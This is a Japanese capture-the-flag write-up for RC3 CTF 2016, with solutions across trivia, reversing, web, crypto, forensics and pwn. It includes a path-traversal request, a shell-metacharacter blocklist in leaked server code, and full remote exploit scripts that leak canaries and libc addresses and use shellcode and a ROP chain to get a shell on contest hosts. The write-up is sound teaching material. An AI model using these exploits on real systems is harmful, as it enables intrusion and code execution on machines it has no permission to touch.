RC3 CTF 2016 供養(Writeup)

RC3 CTF 2016に参加。2940ptで54位。

What's your virus? (Trivia 20)

ILOVEYOU

Horse from Tinbucktu (Trivia 30)

Zeus

Love Bomb (Trivia 40)

Stuxnet

Infringing memes (Trivia 50)

PIPA

Logmein (Reversing 100)

よくあるタイプのcrackme。angrで解いた。

import angr

p = angr.Project('./logmein', load_options={'auto_load_libs': False})
s = p.factory.entry_state()
initial_path = p.factory.path(s)
pg = p.factory.path_group(initial_path)
e = pg.explore(find=0x4007f0, avoid=0x4007c0)

if len(e.found) > 0:
    s = e.found[0].state
    print "%r" % s.posix.dumps(0)
# python solve.py
'RC3-2016-XORISGUD\x00\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01'

# ./logmein
Welcome to the RC3 secure password guesser.
To continue, you must enter the correct password.
Enter your guess: RC3-2016-XORISGUD
You entered the correct password!
Great job!

Who's a good boy? (Web 100)

トップページで読み込まれているCSSの最後にflagがある。

/*here's a flag :)*/
flag:RC3-2016-CanineSS

Bork Bork (Web 300)

次のようなリクエストを投げるとcatコマンドのエラー出力が出てくる。

$ curl -v -d 'bork=' https://ctf.rc3.club:3100/bork
(snip)
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 367
< Server: Werkzeug/0.11.11 Python/2.7.12
< Date: Sun, 20 Nov 2016 16:32:48 GMT
<
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="cat: borks/: Is a directory?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
* STATE: PERFORM => DONE handle 0x6000579b0; line 1955 (connection #0)
* multi_done
* Closing connection 0
* The cache now contains 0 members
* TLSv1.2 (OUT), TLS alert, Client hello (1):
</html>

ServerヘッダからPythonのHTTPサーバWerkzeugが動いていることがわかるので、スクリプト名を推測してソースコードを表示させてみる。

$ curl -d 'bork=../bork.py' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="from flask import Flask, render_template, request, send_from_directory
import os
import commands
import subprocess as sub

app = Flask(__name__)

#Select your bork
@app.route(&#39;/&#39;, methods=[&#39;GET&#39;])
def index():
    return render_template(&#34;index.html&#34;)

@app.route(&#39;/favicon.ico&#39;, methods=[&#39;GET&#39;])
def favicon():
    return send_from_directory(os.path.join(app.root_path, &#39;static&#39;),
            &#39;favicon.ico&#39;)

@app.route(&#39;/bork&#39;, methods=[&#39;POST&#39;])
def bork():
    filename = request.form[&#34;bork&#34;]
    print &#39;&#34;&#39; + filename + &#39;&#34;&#39;

    #had to remove / and .. because without that you can&#39;t get ../bork.txt
    badchars = [&#39;;&#39;, &#39;&gt;&#39;, &#39;&lt;&#39;, &#39;|&#39;, &#39;$&#39;, &#39;`&#39;, &#39;(&#39;, &#39;)&#39;, &#34;mv&#34;, &#34;rm&#34;, &#34;cp&#34;, &#34;python&#34;, &#34;perl&#34;, &#34;ruby&#34;, &#34;bash&#34;, &#34;zsh&#34;, &#39;~&#39;, &#39;*&#39;, &#39;-&#39;]
    for bad in badchars:
        if bad in filename:
            print &#34;found bad character&#34;
            return render_template(&#34;sad.html&#34;)

    bork = commands.getstatusoutput(&#39;cat borks/&#39; + filename)

    #so subprocess errors for some reason? literally ran the same script which is in /tmp/cmd.py.
    #that script works, but when run in flask it doesn&#39;t work? not sure why.
    #next time just use perl or php. they have great direct command line access which makes for
    #super easy command injection

    #cmdList = [&#39;bin/sh&#39;, &#39;-c&#39;, &#39;cat borks/&#39; + filename]
    #p = sub.Popen(cmdList, stdout=sub.PIPE, stderr=sub.PIPE)
    #bork, errors = p.communicate()
    #should probably check errors

    #return render_template(&#34;bork.html&#34;, bork=bork)
    return render_template(&#34;bork.html&#34;, bork=bork[1])

if __name__ == &#34;__main__&#34;:
    try:
        app.run(host=&#39;0.0.0.0&#39;, port=&#39;9000&#39;)
    except Exception as e:
        print &#34;Exception:&#34;
        print e?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

コメントを参考にbork.txtを表示させてみるとflagが得られた。

$ curl -d 'bork=../bork.txt' https://ctf.rc3.club:3100/bork
<!DOCTYPE html>
<html>
    <head>
        <link rel="stylesheet" type="text/css" href="/static/bork.css">
        <link rel="shortcut icon" href="/static/favicon.ico">
    </head>
    <body>
        <h1>HERE'S YOUR BORK!!!!</h1>
        <iframe width="854" height="480" src="RC3-2016-L057d0g3?autoplay=1&loop=1" frameborder="0"></iframe>
    </body>
</html>

Salad (Crypto 100)

シーザー暗号。

import string

c = '7sj-ighm-742q3w4t'
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

for i in xrange(len(chars)):
    table = string.maketrans(chars, chars[i:] + chars[:i])
    print c.translate(table)
$ python test.py
7sj-ighm-742q3w4t
8tk-jhin-853r4x5u
9ul-kijo-964s5y6v
avm-ljkp-a75t6z7w
(snip)
Rc3-2016-ROMaNgOd
(snip)

Calculus (Crypto 200)

微積分の書かれたGoogle Documentが与えられる。計算結果とHintから推測した。

200: There are no symbols in the flag

a
n^2
t^3
i^4
2*d^5
e^6
r^7+r^5+r^4+r+1
v^8+v^7+v^4+v^2+9*v

RC3-2016-antiderv

Cats (Crypto 300)

gif画像の各フレームで表示されている猫の数を数え、アルファベットに置き換えてみると次のようになる。

nums = [14, 9, 1, 20, 23, 15, 5, 13]
chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s = ''
for n in nums:
    s += chars[n-1]
print s
$ python test.py
NIATWOEM

先頭がMEOWとなると推測し、逆順に並び換えたものを送ると通った。

RC3-2016-MEOWTAIN

My Lil Droid (Forensics 100)

apkファイルが与えられる。build-data.propertiesbase64っぽい文字列があり、デコードするとflagが得られる。

$ unzip youtube.apk

$ cat build-data.properties
build.target=blaze-out/intel-linux-android-4.8-libcxx-x86-opt/bin/java/com/google/android/gmscore/integ/client/1p_monolithic_raw_pre_munge_deploy.jar
build.citc.snapshot=-1
build.verifiable=1
build.client=build-secure-info\:(SrcFS)
main.class=
build.label=gmscore_v3_RC21_SDK
build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905)
build.client_mint_status=1
build.build_id=950d1ddb-9c1f-4bb8-b5b6-f3752bb22c0c
build.gplatform=intel-linux-android-4.8-libcxx-x86
build.depot.path=//depot/branches/gmscore_apks_release_branch/120490875.2/google3
build.versionmap=map 120490875 default { // } import buildenv/9410;
build.time=Tue May 31 15\:02\:21 2016 (1464732141)
build.location=social-builder-pool-gmscore@voz22\:/google/src/files/123676479/depot/branches/gmscore_apks_release_branch/120490875.2/READONLY
build.timestamp.as.int=1464732141
build.changelist.as.int=123676479
build.timestamp=1464732141
build.changelist=123676479
UkMz-2016-R09URU0yMQ==

$ echo UkMz | base64 -d
RC3

$ echo R09URU0yMQ== | base64 -d
GOTEM21
RC3-2016-GOTEM21

Graphic Design (Forensics 200)

3DデータのOBJファイルが与えられる。コメントを見ると何かとステゴザウルスの二つの物体があるようなので、ステゴザウルス部分を取り除いてみる。

$ head forensics200.obj
# Blender v2.78 (sub 0) OBJ File: ''
# www.blender.org
mtllib forensics200.mtl
o def_not_the_flag_Text.002
v 2.131841 14.053224 -7.976235
v 1.879015 13.982867 -7.720026
v 1.927970 13.935733 -7.684662
v 2.078477 13.977615 -7.837183
v 2.147170 13.716490 -7.514853
v 2.407256 13.788866 -7.778421

$ grep '^o' forensics200.obj
o def_not_the_flag_Text.002
o stegosaurus

$ awk 'NR==1,/o stegosaurus/{print}' forensics200.obj >a.obj

これをMesh Viewerで表示してみると、flagが得られた。

f:id:inaz2:20161121200317p:plain

RC3-2016-St3GG3rz

Breaking News (Forensics 300)

20個のzipファイルが与えられる。hexdumpを見るとところどころにbase64っぽい文字列がまぎれており、それぞれデコードして繋げることでflagが得られる。

$ \ls -1 -v
Chapter0.zip
Chapter1.zip
Chapter2.zip
Chapter3.zip
Chapter4.zip
Chapter5.zip
Chapter6.zip
Chapter7.zip
Chapter8.zip
Chapter9.zip
Chapter10.zip
Chapter11.zip
Chapter12.zip
Chapter13.zip
Chapter14.zip
Chapter15.zip
Chapter16.zip
Chapter17.zip
Chapter18.zip
Chapter19.zip

$ \ls -1 -v | xargs -n1 strings | grep -v '.txt'
GINg
L+^=
<U<i%[
GINg
D{N1
!Rk\
^hE3n
GIKZo=f
GIKZo=f
UkMK
\DjX
pZzU
NR!R9
K4r>&
K)VH,JU(
My0yMAo=
MTYtRFUK
;X c
`s;
(yCc
_/_PK
Wow, these Queebloid folks do not fool around.
H,Q/V(
,Q(NM
0gZ+
?6(U
Y*mO
.Xt]
3oc$M8e
S1lGCg==
2VD%
6[in
,QH,(HM,*V(
QkxTCg==
*Cut to black*

$ echo UkMK | base64 -d
RC

$ echo My0yMAo= | base64 -d
3-20

$ echo MTYtRFUK | base64 -d
16-DU

$ echo S1lGCg== | base64 -d
KYF

$ echo QkxTCg== | base64 -d
BLS
RC3-2016-DUKYFBLS

Dirty Birdy (Forensics 400)

ディスクイメージが与えられる。FTK Imagerで開くとsecretfilesディレクトリがあるので、エクスポートする。

f:id:inaz2:20161121202101p:plain

gitリポジトリの状態を見るとPGP秘密鍵が削除されていることがわかるので、git checkoutで復元する。

$ ls
document.txt*  README.md*  Workbook1.xlsx.gpg*

$ git status
error: unable to open object pack directory: .git/objects/pack: Not a directory
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:    private.key

Untracked files:
  (use "git add <file>..." to include in what will be committed)

        README.md
        Workbook1.xlsx.gpg
        document.txt

no changes added to commit (use "git add" and/or "git commit -a")

$ git checkout private.key
error: unable to open object pack directory: .git/objects/pack: Not a directory

$ cat private.key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: GnuPG v1

(snip)
-----END PGP PRIVATE KEY BLOCK-----

$ file Workbook1.xlsx.gpg
Workbook1.xlsx.gpg: PGP RSA encrypted session key - keyid: 1246B951 2DB12CE2 RSA (Encrypt or Sign) 1024b .

復元したPGP秘密鍵Excelファイルを復号すると、パスワード付きExcelファイルが得られる。 パスワードのような文字列がdocument.txtにあるが、これにはスペルミスがあり、実際にはpassword123で開くことができた。

$ gpg --import private.key
gpg: key 8FFDF6D6: secret key imported
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

$ gpg --output Workbook1.xlsx --decrypt Workbook1.xlsx.gpg
gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18
      "ThugG (lolz) <nope@gmail.com>"

$ cat document.txt
passowrd123

2枚目のシートに白文字でflagが書かれている。

f:id:inaz2:20161121200449p:plain

RC3-2016-SNEAKY21

Fencepost (Pwn 150)

IDA Proで開いてアセンブリコードを読むと、[rbp+var_4]を0xFFFFFFFFで初期化した後、0と比較していることがわかる。 また、scanf関数の箇所にスタックバッファオーバーフロー脆弱性がある。

.text:0000000000400823 ; =============== S U B R O U T I N E =======================================
.text:0000000000400823
.text:0000000000400823 ; Attributes: bp-based frame
.text:0000000000400823
.text:0000000000400823 sub_400823      proc near               ; DATA XREF: main+3Ao
.text:0000000000400823
.text:0000000000400823 var_54          = dword ptr -54h
.text:0000000000400823 s2              = byte ptr -50h
.text:0000000000400823 var_48          = qword ptr -48h
.text:0000000000400823 var_40          = dword ptr -40h
.text:0000000000400823 var_3C          = word ptr -3Ch
.text:0000000000400823 s               = byte ptr -30h
.text:0000000000400823 var_4           = dword ptr -4
.text:0000000000400823
.text:0000000000400823                 push    rbp
.text:0000000000400824                 mov     rbp, rsp
.text:0000000000400827                 sub     rsp, 60h
.text:000000000040082B                 mov     [rbp+var_54], edi
.text:000000000040082E                 mov     [rbp+var_4], 0FFFFFFFFh
.text:0000000000400835                 mov     rax, '-eht-ton'
.text:000000000040083F                 mov     qword ptr [rbp+s2], rax
.text:0000000000400843                 mov     rax, 'sap-laer'
.text:000000000040084D                 mov     [rbp+var_48], rax
.text:0000000000400851                 mov     [rbp+var_40], 'rows'
.text:0000000000400858                 mov     [rbp+var_3C], 'd'
.text:000000000040085E                 lea     rdi, aWelcomeToTheRc ; "=== Welcome to the RC3 Secure CTF Login"...
.text:0000000000400865                 call    _puts
.text:000000000040086A                 lea     rdi, aPleaseEnterThe ; "=== Please enter the correct password b"...
.text:0000000000400871                 call    _puts
.text:0000000000400876
.text:0000000000400876 loc_400876:                             ; CODE XREF: sub_400823+ACj
.text:0000000000400876                 lea     rdi, format     ; "Password: "
.text:000000000040087D                 mov     eax, 0
.text:0000000000400882                 call    _printf
.text:0000000000400887                 lea     rax, [rbp+s]
.text:000000000040088B                 mov     rsi, rax
.text:000000000040088E                 lea     rdi, aS         ; "%s"
.text:0000000000400895                 mov     eax, 0
.text:000000000040089A                 call    ___isoc99_scanf
.text:000000000040089F                 lea     rax, [rbp+s]
.text:00000000004008A3                 mov     rdi, rax        ; s
.text:00000000004008A6                 call    _strlen
.text:00000000004008AB                 add     rax, 1
.text:00000000004008AF                 mov     [rbp+rax+s], 0
.text:00000000004008B4                 cmp     [rbp+var_4], 0
.text:00000000004008B8                 jz      short loc_4008D1
.text:00000000004008BA                 lea     rdx, [rbp+s2]
.text:00000000004008BE                 lea     rax, [rbp+s]
.text:00000000004008C2                 mov     rsi, rdx        ; s2
.text:00000000004008C5                 mov     rdi, rax        ; s1
.text:00000000004008C8                 call    _strcmp
.text:00000000004008CD                 test    eax, eax
.text:00000000004008CF                 jnz     short loc_400876
.text:00000000004008D1
.text:00000000004008D1 loc_4008D1:                             ; CODE XREF: sub_400823+95j
.text:00000000004008D1                 cmp     [rbp+var_4], 0
.text:00000000004008D5                 jnz     short locret_4008E1
.text:00000000004008D7                 mov     eax, 0
.text:00000000004008DC                 call    sub_400810
.text:00000000004008E1
.text:00000000004008E1 locret_4008E1:                          ; CODE XREF: sub_400823+B2j
.text:00000000004008E1                 leave
.text:00000000004008E2                 retn
.text:00000000004008E2 sub_400823      endp

スタックバッファオーバーフローを用いて[rbp+var_4]を0で上書きすると、flagが得られた。

$ perl -e 'print "\x00"x48 . "\n"' | nc 52.71.70.98 2091
=== Welcome to the RC3 Secure CTF Login ===
=== Please enter the correct password below ===
Password: RC3-2016-STACKPWN

IMS Easy (Pwn 150)

NX無効の32 bit ELF実行ファイルが与えられる。

$ file IMS-easy
IMS-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=9da37e8640249fe6a37b5020e1ac6c5beecfe7a7, not stripped

$ readelf -a IMS-easy
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0xa6150 0xa6150 R E 0x1000
  LOAD           0x0a6f58 0x080eff58 0x080eff58 0x01028 0x023ac RW  0x1000
  NOTE           0x0000f4 0x080480f4 0x080480f4 0x00044 0x00044 R   0x4
  TLS            0x0a6f58 0x080eff58 0x080eff58 0x00010 0x00028 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
  GNU_RELRO      0x0a6f58 0x080eff58 0x080eff58 0x000a8 0x000a8 R   0x1
(snip)

アセンブリコードを読むと、インデックスの範囲チェックがされておらず、スタック上の任意のデータを読み書きできる脆弱性があることがわかる。 そこで、saved ebpを読み出し、リターンアドレスをスタック上に配置したシェルコードの先頭に書き換えるコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-easy'])
s = socket.create_connection(('ims.ctf.rc3.club', 7777))

# leak saved ebp
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    saved_ebp = u32(data[:4])
    print "[+] saved_ebp = %x" % saved_ebp
    addr_buf = saved_ebp - 0xe0
    print "[+] addr_buf = %x" % addr_buf

# put shellcode on the stack
sc = shellcode['x86']
print "[+] len(shellcode) = %d" % len(sc)
add_record(s, u32(sc[8:12]), sc[:8])
add_record(s, u32(sc[20:].ljust(4)), sc[12:20])
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')
add_record(s, 0, 'AAAABBBB')

# overwrite eip
add_record(s, addr_buf, 'AAAABBBB')

do_exit(s)
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test.py
[+] saved_ebp = ffba30cc
[+] addr_buf = ffba2fec
[+] len(shellcode) = 23
id
uid=1002(IMS-easy) gid=1002(IMS-easy) groups=1002(IMS-easy)
cat /home/IMS-easy/flag.txt
RC3-2016-REC0RDZ-G0T-R3KT

IMS Hard (Pwn 400)

上の問題と同じ実行ファイルだが、NXとStack canaryが有効になっている。

$ file IMS-hard
IMS-hard: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bf20997cf9884ed329fc6d3bf91114c79b919868, not stripped

$ readelf -a IMS-hard
(snip)
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00e74 0x00e74 R E 0x1000
  LOAD           0x000eb0 0x08049eb0 0x08049eb0 0x00158 0x0019c RW  0x1000
  DYNAMIC        0x000ebc 0x08049ebc 0x08049ebc 0x000f8 0x000f8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000d3c 0x08048d3c 0x08048d3c 0x0003c 0x0003c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000eb0 0x08049eb0 0x08049eb0 0x00150 0x00150 R   0x1
(snip)
Relocation section '.rel.plt' at offset 0x438 contains 15 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049fc0  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
08049fc4  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
08049fc8  00000307 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
08049fcc  00000407 R_386_JUMP_SLOT   00000000   memcpy@GLIBC_2.0
08049fd0  00000507 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0
08049fd4  00000607 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
08049fd8  00000707 R_386_JUMP_SLOT   00000000   fwrite@GLIBC_2.0
08049fdc  00000807 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
08049fe0  00000907 R_386_JUMP_SLOT   00000000   __gmon_start__
08049fe4  00000a07 R_386_JUMP_SLOT   00000000   strtoul@GLIBC_2.0
08049fe8  00000b07 R_386_JUMP_SLOT   00000000   strchr@GLIBC_2.0
08049fec  00000c07 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
08049ff0  00000d07 R_386_JUMP_SLOT   00000000   memset@GLIBC_2.0
08049ff4  00000e07 R_386_JUMP_SLOT   00000000   strncpy@GLIBC_2.0
08049ff8  00000f07 R_386_JUMP_SLOT   00000000   strtol@GLIBC_2.0
(snip)

また、Hintから独自にコンパイルしたlibcが使われていることがわかる。

400: There's a custom libc that is making your life harder :(

そこで、JIT-ROP(Dynamic ROP)を行うことにする。 スタックからstdoutのアドレス、stack canary、main関数からのリターンアドレス(__libc_start_main関数内を指すアドレス)を読み出し、fwrite関数でリターンアドレス以降のメモリを読み出すコードを書くと次のようになる。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak stdout
data = view_record(s, -13)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    data = m.group(2)
    libc_stdout = u32(data[4:8])
    print "[+] libc_stdout = %x" % libc_stdout

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
plt_fwrite = 0x8048550

buf = p32(plt_fwrite) + 'AAAA' + p32(addr_libc) + p32(0x01010101) + p32(0x1) + p32(libc_stdout)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])

do_exit(s)

print '[+] dump libc memory'
f = open('dump.bin', 'wb')
while True:
    data = s.recv(8192)
    if not data:
        break
    f.write(data)
f.close()

interact(s)
$ python test.py
[+] libc_stdout = f775bac0
[+] canary = -4bdca00
[+] saved_ebp = ff8099d4
[+] addr_libc = f75cdad3
[+] dump libc memory
*** Connection closed by remote host ***

$ ls -al dump.bin
-rw-r--r-- 1 user user 1639091 Nov 20 21:33 dump.bin

次に、読み出したメモリからexecve("/bin/sh", NULL, NULL)を呼ぶために必要なgadgetのオフセットを探し、これを用いてROPを行うコードを書く。

from minipwn import *
import re

def add_record(s, _id, code):
    recvuntil(s, 'Choose: ')
    sendline(s, '1')
    recvuntil(s, 'Enter product ID: ')
    sendline(s, str(_id))
    recvuntil(s, 'Enter product code: ')
    sendline(s, code)
    recvuntil(s, 'IMS\n')

def delete_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '2')
    recvuntil(s, 'Enter index to delete: ')
    sendline(s, str(index))
    recvuntil(s, 'IMS\n')

def view_record(s, index):
    recvuntil(s, 'Choose: ')
    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
dump = open('dump.bin').read()

addr_ret = 0x80484d2
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')
print "[+] offset_binsh = %x" % offset_binsh
print "[+] offset_pop_eax = %x" % offset_pop_eax
print "[+] offset_pop_ebx = %x" % offset_pop_ebx
print "[+] offset_pop_ecx_edx = %x" % offset_pop_ecx_edx
print "[+] offset_int80 = %x" % offset_int80

buf = p32(addr_libc + offset_pop_eax) + p32(11)
buf += p32(addr_libc + offset_pop_ebx) + p32(addr_libc + offset_binsh)
buf += p32(addr_ret)
buf += p32(addr_libc + offset_pop_ecx_edx) + p32(0) + p32(0)
buf += p32(addr_libc + offset_int80)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])
add_record(s, u32(buf[32:36]), buf[24:32])

do_exit(s)

print '[+] got a shell'
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test2.py
[+] canary = -15d07300
[+] saved_ebp = ff84df44
[+] addr_libc = f757ead3
[+] offset_binsh = 143fb9
[+] offset_pop_eax = ab55
[+] offset_pop_ebx = 10d
[+] offset_pop_ecx_edx = 14748
[+] offset_int80 = 14a12
[+] got a shell
id
uid=1001(IMS-hard) gid=1001(IMS-hard) groups=1001(IMS-hard)
cat /home/IMS-hard/flag.txt
RC3-2016-SAVAGE-1337HAX-BRO

所感

他に解きたかった問題は以下。

  • Bridge of Cyber (Misc 200)
  • "Just joking," Joker joked! (Web 200)
  • Some Pang (Forensics 50)
  • FLE (Reversing 200)
  • GoReverseMe (Reversing 250)

関連リンク